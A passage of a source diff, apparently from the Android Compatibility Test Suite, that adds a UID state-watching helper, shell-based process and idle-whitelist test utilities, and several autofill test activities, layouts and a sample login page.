+ mUidWatcher.expect(WatchUidRunner.CMD_IDLE, null, timeout);
+ mUidWatcher.expect(WatchUidRunner.CMD_PROCSTATE, "NONE", timeout);
+ }
+
+ public void allowBackgroundOp() throws IOException {
+ String cmd = "appops set " + mServicePackage + " RUN_IN_BACKGROUND allow";
+ String result = SystemUtil.runShellCommand(mInstrumentation, cmd);
+ }
+
+ public void makeUidIdle() throws IOException {
+ String cmd = "am make-uid-idle " + mServicePackage;
+ String result = SystemUtil.runShellCommand(mInstrumentation, cmd);
+ }
+
+ public void removeFromWhitelist() throws IOException {
+ String cmd = "cmd deviceidle whitelist -" + mServicePackage;
+ String result = SystemUtil.runShellCommand(mInstrumentation, cmd);
+ }
+
+ public void addToWhitelist() throws IOException {
+ String cmd = "cmd deviceidle whitelist +" + mServicePackage;
+ String result = SystemUtil.runShellCommand(mInstrumentation, cmd);
+ }
+
+ public void tempWhitelist(long duration) throws IOException {
+ String cmd = "cmd deviceidle tempwhitelist -d " + duration + " " + mServicePackage;
+ String result = SystemUtil.runShellCommand(mInstrumentation, cmd);
+ }
+
+ public void cleanup() throws IOException {
+ removeFromWhitelist();
+ allowBackgroundOp();
+ mUidWatcher.finish();
mAm.removeOnUidImportanceListener(mUidGoneListener);
mAm.removeOnUidImportanceListener(mUidForegroundListener);
mData.recycle();
@@ -94,6 +136,10 @@
return mConnections[index];
}
+ public int getUid() {
+ return mUid;
+ }
+
public UidImportanceListener getUidForegroundListener() {
return mUidForegroundListener;
}
@@ -102,15 +148,22 @@
return mUidGoneListener;
}
+ public WatchUidRunner getUidWatcher() {
+ return mUidWatcher;
+ }
+
public void ensureProcessGone(long timeout) {
for (int i=0; i<mConnections.length; i++) {
mConnections[i].bind(timeout);
+ }
+
+ for (int i=0; i<mConnections.length; i++) {
IBinder serviceBinder = mConnections[i].getServiceIBinder();
+ mConnections[i].unbind(timeout);
try {
serviceBinder.transact(IBinder.FIRST_CALL_TRANSACTION, mData, null, 0);
} catch (RemoteException e) {
}
- mConnections[i].unbind(timeout);
}
// Wait for uid's process to go away.
@@ -121,5 +174,6 @@
throw new IllegalStateException("Unexpected importance after killing process: "
+ importance);
}
+ mUidWatcher.waitFor(WatchUidRunner.CMD_GONE, null, timeout);
}
}
diff --git a/tests/app/src/android/app/cts/android/app/cts/tools/WatchUidRunner.java b/tests/app/src/android/app/cts/android/app/cts/tools/WatchUidRunner.java
new file mode 100644
index 0000000..e2abf67
--- /dev/null
+++ b/tests/app/src/android/app/cts/android/app/cts/tools/WatchUidRunner.java
@@ -0,0 +1,202 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.app.cts.android.app.cts.tools;
+
+import static org.junit.Assert.assertTrue;
+import static org.junit.Assert.fail;
+
+import android.app.Instrumentation;
+import android.os.ParcelFileDescriptor;
+import android.os.SystemClock;
+import android.util.Log;
+
+import java.io.BufferedOutputStream;
+import java.io.BufferedReader;
+import java.io.FileInputStream;
+import java.io.FileOutputStream;
+import java.io.IOException;
+import java.io.InputStreamReader;
+import java.io.PrintWriter;
+import java.util.ArrayList;
+import java.util.Arrays;
+import java.util.regex.Pattern;
+
+/**
+ * bit CtsAppTestCases:ActivityManagerProcessStateTest
+ */
+public class WatchUidRunner {
+ public static final int CMD_PROCSTATE = 0;
+ public static final int CMD_ACTIVE = 1;
+ public static final int CMD_IDLE = 2;
+ public static final int CMD_UNCACHED = 3;
+ public static final int CMD_CACHED = 4;
+ public static final int CMD_GONE = 5;
+
+ static final String[] COMMAND_TO_STRING = new String[] {
+ "procstate", "active", "idle", "uncached", "cached", "gone"
+ };
+
+ final Instrumentation mInstrumentation;
+ final int mUid;
+ final String mUidStr;
+ final Pattern mSpaceSplitter;
+ final ParcelFileDescriptor mReadFd;
+ final FileInputStream mReadStream;
+ final BufferedReader mReadReader;
+ final ParcelFileDescriptor mWriteFd;
+ final FileOutputStream mWriteStream;
+ final PrintWriter mWritePrinter;
+ final Thread mReaderThread;
+
+ // Shared state is protected by this.
+ final ArrayList<String[]> mPendingLines = new ArrayList<>();
+
+ boolean mStopping;
+
+ public WatchUidRunner(Instrumentation instrumentation, int uid) {
+ mInstrumentation = instrumentation;
+ mUid = uid;
+ mUidStr = Integer.toString(uid);
+ mSpaceSplitter = Pattern.compile("\\s+");
+ ParcelFileDescriptor[] pfds = instrumentation.getUiAutomation().executeShellCommandRw(
+ "am watch-uids");
+ mReadFd = pfds[0];
+ mReadStream = new ParcelFileDescriptor.AutoCloseInputStream(mReadFd);
+ mReadReader = new BufferedReader(new InputStreamReader(mReadStream));
+ mWriteFd = pfds[1];
+ mWriteStream = new ParcelFileDescriptor.AutoCloseOutputStream(mWriteFd);
+ mWritePrinter = new PrintWriter(new BufferedOutputStream(mWriteStream));
+ // Executing a shell command is asynchronous but we can't proceed further with the test
+ // until the 'watch-uids' cmd is executed.
+ waitUntilUidObserverReady();
+ mReaderThread = new ReaderThread();
+ mReaderThread.start();
+ }
+
+ private void waitUntilUidObserverReady() {
+ try {
+ final String line = mReadReader.readLine();
+ assertTrue("Unexpected output: " + line, line.startsWith("Watching uid states"));
+ } catch (IOException e) {
+ fail("Error occurred " + e);
+ }
+ }
+
+ public void expect(int cmd, String procState, long timeout) {
+ long waitUntil = SystemClock.uptimeMillis() + timeout;
+ String[] line = waitForNextLine(waitUntil);
+ if (!COMMAND_TO_STRING[cmd].equals(line[1])) {
+ throw new IllegalStateException("Expected cmd " + COMMAND_TO_STRING[cmd]
+ + " but next report was " + Arrays.toString(line));
+ }
+ if (procState != null && (line.length < 3 || !procState.equals(line[2]))) {
+ throw new IllegalStateException("Expected procstate " + procState
+ + " but next report was " + Arrays.toString(line));
+ }
+ }
+
+ public void waitFor(int cmd, String procState, long timeout) {
+ long waitUntil = SystemClock.uptimeMillis() + timeout;
+ while (true) {
+ String[] line = waitForNextLine(waitUntil);
+ if (COMMAND_TO_STRING[cmd].equals(line[1])) {
+ if (procState == null) {
+ return;
+ }
+ if (line.length >= 3 && procState.equals(line[2])) {
+ return;
+ } else {
+ Log.d("XXXX", "Skipping because procstate not " + procState + ": "
+ + Arrays.toString(line));
+ }
+ } else {
+ Log.d("XXXX", "Skipping because not " + COMMAND_TO_STRING[cmd] + ": "
+ + Arrays.toString(line));
+ }
+ }
+ }
+
+ String[] waitForNextLine(long waitUntil) {
+ synchronized (mPendingLines) {
+ while (mPendingLines.size() == 0) {
+ long now = SystemClock.uptimeMillis();
+ if (now >= waitUntil) {
+ throw new IllegalStateException("Timed out waiting for next line");
+ }
+ try {
+ mPendingLines.wait(waitUntil - now);
+ } catch (InterruptedException e) {
+ }
+ }
+ return mPendingLines.remove(0);
+ }
+ }
+
+ public void finish() {
+ synchronized (mPendingLines) {
+ mStopping = true;
+ }
+ mWritePrinter.println("q");
+ try {
+ mWriteStream.close();
+ } catch (IOException e) {
+ }
+ try {
+ mReadStream.close();
+ } catch (IOException e) {
+ }
+ }
+
+ final class ReaderThread extends Thread {
+ String mLastReadLine;
+
+ @Override
+ public void run() {
+ String[] line;
+ try {
+ while ((line = readNextLine()) != null) {
+ if (line.length < 2) {
+ Log.d("XXXXX", "Skipping: " + mLastReadLine);
+ continue;
+ }
+ if (!line[0].equals(mUidStr)) {
+ Log.d("XXXXX", "Skipping: " + mLastReadLine);
+ continue;
+ }
+ Log.d("XXXXX", "Enqueueing: " + mLastReadLine);
+ synchronized (mPendingLines) {
+ if (mStopping) {
+ return;
+ }
+ mPendingLines.add(line);
+ mPendingLines.notifyAll();
+ }
+ }
+ } catch (IOException e) {
+ Log.w("WatchUidRunner", "Failed reading", e);
+ }
+ }
+
+ String[] readNextLine() throws IOException {
+ mLastReadLine = mReadReader.readLine();
+ if (mLastReadLine == null) {
+ return null;
+ }
+ return mSpaceSplitter.split(mLastReadLine);
+ }
+ }
+}
diff --git a/tests/aslr/Android.mk b/tests/aslr/Android.mk
index 6ad636b..2abe2a8 100644
--- a/tests/aslr/Android.mk
+++ b/tests/aslr/Android.mk
@@ -33,6 +33,6 @@
libgtest
# Tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts
+LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
include $(BUILD_CTS_EXECUTABLE)
diff --git a/tests/autofillservice/Android.mk b/tests/autofillservice/Android.mk
index 27a8cb5..eaf2f17 100644
--- a/tests/autofillservice/Android.mk
+++ b/tests/autofillservice/Android.mk
@@ -28,12 +28,12 @@
ctstestrunner \
truth-prebuilt \
ub-uiautomator \
- testng
+ testng # TODO: remove once Android migrates to JUnit 4.12, which provide assertThrows
LOCAL_SRC_FILES := $(call all-java-files-under, src)
# Tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts
+LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
LOCAL_PACKAGE_NAME := CtsAutoFillServiceTestCases
diff --git a/tests/autofillservice/AndroidManifest.xml b/tests/autofillservice/AndroidManifest.xml
index 9303955..11541d4 100644
--- a/tests/autofillservice/AndroidManifest.xml
+++ b/tests/autofillservice/AndroidManifest.xml
@@ -43,29 +43,26 @@
<activity android:name=".TimePickerClockActivity" />
<activity android:name=".TimePickerSpinnerActivity" />
<activity android:name=".FatActivity" />
- <activity android:name=".VirtualContainerActivity">
- <intent-filter>
- <!-- This intent filter is not really needed by CTS, but it maks easier to launch
- this app during CTS development... -->
- <action android:name="android.intent.action.MAIN" />
- <category android:name="android.intent.category.LAUNCHER" />
- </intent-filter>
- </activity>
+ <activity android:name=".VirtualContainerActivity"/>
<activity android:name=".OptionalSaveActivity" />
<activity android:name=".AllAutofillableViewsActivity" />
- <activity android:name=".GridActivity" >
- <intent-filter>
- <!-- This intent filter is not really needed by CTS, but it maks easier to launch
- this app during CTS development... -->
- <action android:name="android.intent.action.MAIN" />
- <category android:name="android.intent.category.LAUNCHER" />
- </intent-filter>
- </activity>
+ <activity android:name=".GridActivity"/>
<activity android:name=".EmptyActivity"/>
<activity android:name=".DummyActivity"/>
<activity android:name=".OutOfProcessLoginActivity"
android:process="android.autofillservice.cts.outside"/>
<activity android:name=".FragmentContainerActivity" />
+ <activity android:name=".DuplicateIdActivity"
+ android:theme="@android:style/Theme.NoTitleBar" />
+ <activity android:name=".SimpleSaveActivity"/>
+ <activity android:name=".PreSimpleSaveActivity">
+ <intent-filter>
+ <!-- This intent filter is not really needed by CTS, but it maks easier to launch
+ this app during CTS development... -->
+ <action android:name="android.intent.action.MAIN" />
+ <category android:name="android.intent.category.LAUNCHER" />
+ </intent-filter>
+ </activity>
<activity android:name=".WebViewActivity"/>
<activity android:name=".TrampolineWelcomeActivity"/>
<activity android:name=".AttachedContextActivity"/>
diff --git a/tests/autofillservice/AndroidTest.xml b/tests/autofillservice/AndroidTest.xml
index d4afbb3..73fffd2 100644
--- a/tests/autofillservice/AndroidTest.xml
+++ b/tests/autofillservice/AndroidTest.xml
@@ -14,7 +14,8 @@
limitations under the License.
-->
<configuration description="Config for AutoFill Framework CTS tests.">
- <option name="config-descriptor:metadata" key="component" value="framework" />
+ <option name="test-suite-tag" value="cts" />
+ <option name="config-descriptor:metadata" key="component" value="framework" />
<target_preparer class="com.android.tradefed.targetprep.suite.SuiteApkInstaller">
<option name="cleanup-apks" value="true" />
diff --git a/tests/autofillservice/assets/login.html b/tests/autofillservice/assets/login.html
new file mode 100644
index 0000000..60e7cf7
--- /dev/null
+++ b/tests/autofillservice/assets/login.html
@@ -0,0 +1,26 @@
+<!DOCTYPE html>
+<!--
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+-->
+<html>
+<body>
+<form action="login.html" name="FORM AM I">
+ Username: <input type="text" name="username" autocomplete="username" placeholder="There's no place like a holder"/><br/>
+ Password: <input type="password" name="password" autocomplete="current-password" placeholder="Holder it like it cannnot passer a word"/><br/>
+ <br/>
+ <input type="submit" value="Login"/>
+</form>
+</body>
+</html>
\ No newline at end of file
diff --git a/tests/autofillservice/res/layout/custom_description_with_link.xml b/tests/autofillservice/res/layout/custom_description_with_link.xml
new file mode 100644
index 0000000..fc67479
--- /dev/null
+++ b/tests/autofillservice/res/layout/custom_description_with_link.xml
@@ -0,0 +1,34 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!--
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ -->
+
+<LinearLayout xmlns:android="http://schemas.android.com/apk/res/android"
+ android:orientation="horizontal"
+ android:layout_width="match_parent"
+ android:layout_height="wrap_content">
+
+ <TextView android:id="@+id/static_text"
+ android:paddingEnd="16dp"
+ android:layout_width="wrap_content"
+ android:layout_height="match_parent"
+ android:text="YO:"/>
+
+ <Button android:id="@+id/link"
+ android:paddingEnd="16dp"
+ android:layout_width="wrap_content"
+ android:layout_height="match_parent"
+ android:text="DON'T TAP ME!"/>
+</LinearLayout>
\ No newline at end of file
diff --git a/tests/autofillservice/res/layout/duplicate_id_layout.xml b/tests/autofillservice/res/layout/duplicate_id_layout.xml
new file mode 100644
index 0000000..a5643ea
--- /dev/null
+++ b/tests/autofillservice/res/layout/duplicate_id_layout.xml
@@ -0,0 +1,33 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!--
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ -->
+
+<LinearLayout xmlns:android="http://schemas.android.com/apk/res/android"
+ android:orientation="vertical"
+ android:layout_width="match_parent"
+ android:layout_height="match_parent">
+
+ <CheckBox
+ android:id="@+id/duplicate_id"
+ android:layout_width="match_parent"
+ android:layout_height="wrap_content" />
+
+ <CheckBox
+ android:id="@+id/duplicate_id"
+ android:layout_width="match_parent"
+ android:layout_height="wrap_content" />
+
+</LinearLayout>
\ No newline at end of file
diff --git a/tests/autofillservice/res/layout/login_activity.xml b/tests/autofillservice/res/layout/login_activity.xml
index e16d1c4..5cf0efd 100644
--- a/tests/autofillservice/res/layout/login_activity.xml
+++ b/tests/autofillservice/res/layout/login_activity.xml
@@ -38,7 +38,8 @@
<EditText
android:id="@+id/username"
android:layout_width="match_parent"
- android:layout_height="wrap_content" />
+ android:layout_height="wrap_content"
+ android:imeOptions="flagNoFullscreen" />
</LinearLayout>
<LinearLayout
@@ -56,7 +57,8 @@
android:id="@+id/password"
android:layout_width="match_parent"
android:layout_height="wrap_content"
- android:inputType="textPassword"/>
+ android:inputType="textPassword"
+ android:imeOptions="flagNoFullscreen" />
</LinearLayout>
<LinearLayout
diff --git a/tests/autofillservice/res/layout/pre_simple_save_activity.xml b/tests/autofillservice/res/layout/pre_simple_save_activity.xml
new file mode 100644
index 0000000..3440524
--- /dev/null
+++ b/tests/autofillservice/res/layout/pre_simple_save_activity.xml
@@ -0,0 +1,55 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!--
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+-->
+
+<LinearLayout xmlns:android="http://schemas.android.com/apk/res/android"
+ xmlns:tools="http://schemas.android.com/tools"
+ android:layout_width="wrap_content"
+ android:layout_height="match_parent"
+ android:focusable="true"
+ android:focusableInTouchMode="true"
+ android:orientation="vertical" >
+
+ <LinearLayout
+ android:layout_width="match_parent"
+ android:layout_height="wrap_content"
+ android:orientation="horizontal" >
+
+ <TextView
+ android:id="@+id/preLabel"
+ android:layout_width="wrap_content"
+ android:layout_height="wrap_content"
+ android:text="Pre-label:" />
+ <EditText
+ android:id="@+id/preInput"
+ android:layout_width="wrap_content"
+ android:layout_height="wrap_content" />
+
+ </LinearLayout>
+
+ <LinearLayout
+ android:layout_width="match_parent"
+ android:layout_height="wrap_content"
+ android:orientation="horizontal" >
+
+ <Button
+ android:id="@+id/submit"
+ android:layout_width="wrap_content"
+ android:layout_height="wrap_content"
+ android:text="Submit" />
+ </LinearLayout>
+
+</LinearLayout>
\ No newline at end of file
diff --git a/tests/autofillservice/res/layout/simple_save_activity.xml b/tests/autofillservice/res/layout/simple_save_activity.xml
new file mode 100644
index 0000000..c48e0c3
--- /dev/null
+++ b/tests/autofillservice/res/layout/simple_save_activity.xml
@@ -0,0 +1,67 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!--
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+-->
+
+<LinearLayout xmlns:android="http://schemas.android.com/apk/res/android"
+ xmlns:tools="http://schemas.android.com/tools"
+ android:layout_width="wrap_content"
+ android:layout_height="match_parent"
+ android:focusable="true"
+ android:focusableInTouchMode="true"
+ android:orientation="vertical" >
+
+ <LinearLayout
+ android:layout_width="match_parent"
+ android:layout_height="wrap_content"
+ android:orientation="horizontal" >
+
+ <TextView
+ android:id="@+id/label"
+ android:layout_width="wrap_content"
+ android:layout_height="wrap_content"
+ android:text="Label:" />
+ <EditText
+ android:id="@+id/input"
+ android:layout_width="wrap_content"
+ android:layout_height="wrap_content"
+ android:imeOptions="flagNoFullscreen" />
+ <EditText
+ android:id="@+id/password"
+ android:layout_width="wrap_content"
+ android:layout_height="wrap_content"
+ android:inputType="textPassword"
+ android:imeOptions="flagNoFullscreen" />
+ </LinearLayout>
+
+ <LinearLayout
+ android:layout_width="match_parent"
+ android:layout_height="wrap_content"
+ android:orientation="horizontal" >
+
+ <Button
+ android:id="@+id/cancel"
+ android:layout_width="wrap_content"
+ android:layout_height="wrap_content"
+ android:text="Cancel" />
+
+ <Button
+ android:id="@+id/commit"
+ android:layout_width="wrap_content"
+ android:layout_height="wrap_content"
+ android:text="Commit" />
+ </LinearLayout>
+
+</LinearLayout>
\ No newline at end of file
diff --git a/tests/autofillservice/res/layout/two_horizontal_text_fields.xml b/tests/autofillservice/res/layout/two_horizontal_text_fields.xml
new file mode 100644
index 0000000..944f926
--- /dev/null
+++ b/tests/autofillservice/res/layout/two_horizontal_text_fields.xml
@@ -0,0 +1,43 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!--
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ -->
+
+<LinearLayout xmlns:android="http://schemas.android.com/apk/res/android"
+ android:orientation="horizontal"
+ android:layout_width="match_parent"
+ android:layout_height="wrap_content">
+
+ <TextView android:id="@+id/static_text"
+ android:paddingEnd="16dp"
+ android:layout_width="wrap_content"
+ android:layout_height="match_parent"
+ android:text="YO:"/>
+
+ <TextView android:id="@+id/first"
+ android:paddingEnd="16dp"
+ android:layout_width="wrap_content"
+ android:layout_height="match_parent"/>
+
+ <TextView android:id="@+id/second"
+ android:layout_weight="1"
+ android:layout_width="0dp"
+ android:layout_height="match_parent"/>
+
+ <ImageView android:id="@+id/img"
+ android:paddingStart="16dp"
+ android:layout_width="wrap_content"
+ android:layout_height="match_parent"/>
+</LinearLayout>
\ No newline at end of file
diff --git a/tests/autofillservice/res/layout/webview_activity.xml b/tests/autofillservice/res/layout/webview_activity.xml
new file mode 100644
index 0000000..84ead4f
--- /dev/null
+++ b/tests/autofillservice/res/layout/webview_activity.xml
@@ -0,0 +1,21 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!--
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+-->
+<android.autofillservice.cts.MyWebView xmlns:android="http://schemas.android.com/apk/res/android"
+ android:id="@+id/webview"
+ android:layout_width="fill_parent"
+ android:layout_height="fill_parent"
+/>
diff --git a/tests/autofillservice/src/android/autofillservice/cts/AbstractDatePickerActivity.java b/tests/autofillservice/src/android/autofillservice/cts/AbstractDatePickerActivity.java
index 86eb136..ad7ffe9 100644
--- a/tests/autofillservice/src/android/autofillservice/cts/AbstractDatePickerActivity.java
+++ b/tests/autofillservice/src/android/autofillservice/cts/AbstractDatePickerActivity.java
@@ -15,24 +15,13 @@
*/
package android.autofillservice.cts;
-import static android.widget.ArrayAdapter.createFromResource;
-
import static com.google.common.truth.Truth.assertWithMessage;
import android.content.Intent;
import android.os.Bundle;
-import android.os.SystemClock;
-import android.view.View;
-import android.view.View.OnClickListener;
-import android.view.WindowManager;
-import android.widget.ArrayAdapter;
import android.widget.Button;
-import android.widget.CheckBox;
import android.widget.DatePicker;
import android.widget.EditText;
-import android.widget.RadioButton;
-import android.widget.RadioGroup;
-import android.widget.Spinner;
import java.util.concurrent.CountDownLatch;
import java.util.concurrent.TimeUnit;
diff --git a/tests/autofillservice/src/android/autofillservice/cts/AbstractTimePickerActivity.java b/tests/autofillservice/src/android/autofillservice/cts/AbstractTimePickerActivity.java
index 89c028b..848b3cc 100644
--- a/tests/autofillservice/src/android/autofillservice/cts/AbstractTimePickerActivity.java
+++ b/tests/autofillservice/src/android/autofillservice/cts/AbstractTimePickerActivity.java
@@ -154,8 +154,7 @@
private FillExpectation(String output, int hour, int minute) {
// Output is called twice: by the TimeChangeListener and by auto-fill.
outputWatcher = new MultipleTimesTextWatcher("output", 2, mOutput, output);
- // TimePicker listener is called twice, for hour and minute changes.
- timeListener = new MultipleTimesTimeListener("timePicker", 2, mTimePicker, hour,
+ timeListener = new MultipleTimesTimeListener("timePicker", 1, mTimePicker, hour,
minute);
}
}
diff --git a/tests/autofillservice/src/android/autofillservice/cts/AttachedContextActivity.java b/tests/autofillservice/src/android/autofillservice/cts/AttachedContextActivity.java
new file mode 100644
index 0000000..097967e
--- /dev/null
+++ b/tests/autofillservice/src/android/autofillservice/cts/AttachedContextActivity.java
@@ -0,0 +1,74 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.autofillservice.cts;
+
+import android.content.Context;
+import android.content.res.Configuration;
+import android.content.res.Resources;
+import android.os.Bundle;
+import android.widget.EditText;
+
+import java.util.Locale;
+
+/**
+ * Simple activity that attaches a new base context.
+ */
+public class AttachedContextActivity extends AbstractAutoFillActivity {
+ static final String ID_INPUT = "input";
+
+ EditText mInput;
+
+ @Override
+ protected void onCreate(Bundle savedInstanceState) {
+ super.onCreate(savedInstanceState);
+
+ setContentView(R.layout.simple_save_activity);
+
+ mInput = findViewById(R.id.input);
+ }
+
+ @Override
+ protected void attachBaseContext(Context newBase) {
+ final Context localContext = applyLocale(newBase, "en");
+ super.attachBaseContext(localContext);
+ }
+
+ private Context applyLocale(Context context, String language) {
+ final Resources resources = context.getResources();
+ final Configuration configuration = resources.getConfiguration();
+ configuration.setLocale(new Locale(language));
+ return context.createConfigurationContext(configuration);
+ }
+
+ FillExpectation expectAutoFill(String input) {
+ final FillExpectation expectation = new FillExpectation(input);
+ mInput.addTextChangedListener(expectation.mInputWatcher);
+ return expectation;
+ }
+
+ final class FillExpectation {
+ private final OneTimeTextWatcher mInputWatcher;
+
+ private FillExpectation(String input) {
+ mInputWatcher = new OneTimeTextWatcher("input", mInput, input);
+ }
+
+ void assertAutoFilled() throws Exception {
+ mInputWatcher.assertAutoFilled();
+ }
+ }
+}
diff --git a/tests/autofillservice/src/android/autofillservice/cts/AttachedContextActivityTest.java b/tests/autofillservice/src/android/autofillservice/cts/AttachedContextActivityTest.java
new file mode 100644
index 0000000..45f7264
--- /dev/null
+++ b/tests/autofillservice/src/android/autofillservice/cts/AttachedContextActivityTest.java
@@ -0,0 +1,64 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.autofillservice.cts;
+
+import android.autofillservice.cts.AttachedContextActivity.FillExpectation;
+
+import org.junit.Before;
+import org.junit.Rule;
+import org.junit.Test;
+
+/**
+ * Makes sure activity with attached context can be autofilled.
+ */
+public class AttachedContextActivityTest extends AutoFillServiceTestCase {
+
+ @Rule
+ public final AutofillActivityTestRule<AttachedContextActivity> mActivityRule =
+ new AutofillActivityTestRule<>(AttachedContextActivity.class);
+
+ private AttachedContextActivity mActivity;
+
+ @Before
+ public void setActivity() {
+ mActivity = mActivityRule.getActivity();
+ }
+
+ @Test
+ public void testAutofill() throws Exception {
+ // Prepare
+ enableService();
+
+ sReplier.addResponse(new CannedFillResponse.Builder()
+ .addDataset(new CannedFillResponse.CannedDataset.Builder()
+ .setField(AttachedContextActivity.ID_INPUT, "attack!")
+ .setPresentation(createPresentation("fill me"))
+ .build())
+ .build());
+ final FillExpectation fillExpectation = mActivity.expectAutoFill("attack!");
+
+ // Trigger autofill
+ mActivity.syncRunOnUiThread(() -> mActivity.mInput.requestFocus());
+ sReplier.getNextFillRequest();
+
+ // Select dataset
+ sUiBot.selectDataset("fill me");
+
+ // Assert results
+ fillExpectation.assertAutoFilled();
+ }
+}
diff --git a/tests/autofillservice/src/android/autofillservice/cts/AuthenticationActivity.java b/tests/autofillservice/src/android/autofillservice/cts/AuthenticationActivity.java
index 56ae652..570de4e 100644
--- a/tests/autofillservice/src/android/autofillservice/cts/AuthenticationActivity.java
+++ b/tests/autofillservice/src/android/autofillservice/cts/AuthenticationActivity.java
@@ -16,6 +16,8 @@
package android.autofillservice.cts;
+import static android.autofillservice.cts.CannedFillResponse.ResponseType.NULL;
+
import static com.google.common.truth.Truth.assertWithMessage;
import android.app.Activity;
@@ -26,6 +28,8 @@
import android.content.Intent;
import android.content.IntentSender;
import android.os.Bundle;
+import android.os.Handler;
+import android.os.Looper;
import android.os.Parcelable;
import android.util.Log;
import android.util.SparseArray;
@@ -34,6 +38,8 @@
import com.google.common.base.Preconditions;
import java.util.ArrayList;
+import java.util.concurrent.CountDownLatch;
+import java.util.concurrent.TimeUnit;
/**
* This class simulates authentication at the dataset at reponse level
@@ -44,6 +50,8 @@
private static final String EXTRA_DATASET_ID = "dataset_id";
private static final String EXTRA_RESPONSE_ID = "response_id";
+ private static final int MSG_WAIT_FOR_LATCH = 1;
+
private static Bundle sData;
private static final SparseArray<CannedDataset> sDatasets = new SparseArray<>();
private static final SparseArray<CannedFillResponse> sResponses = new SparseArray<>();
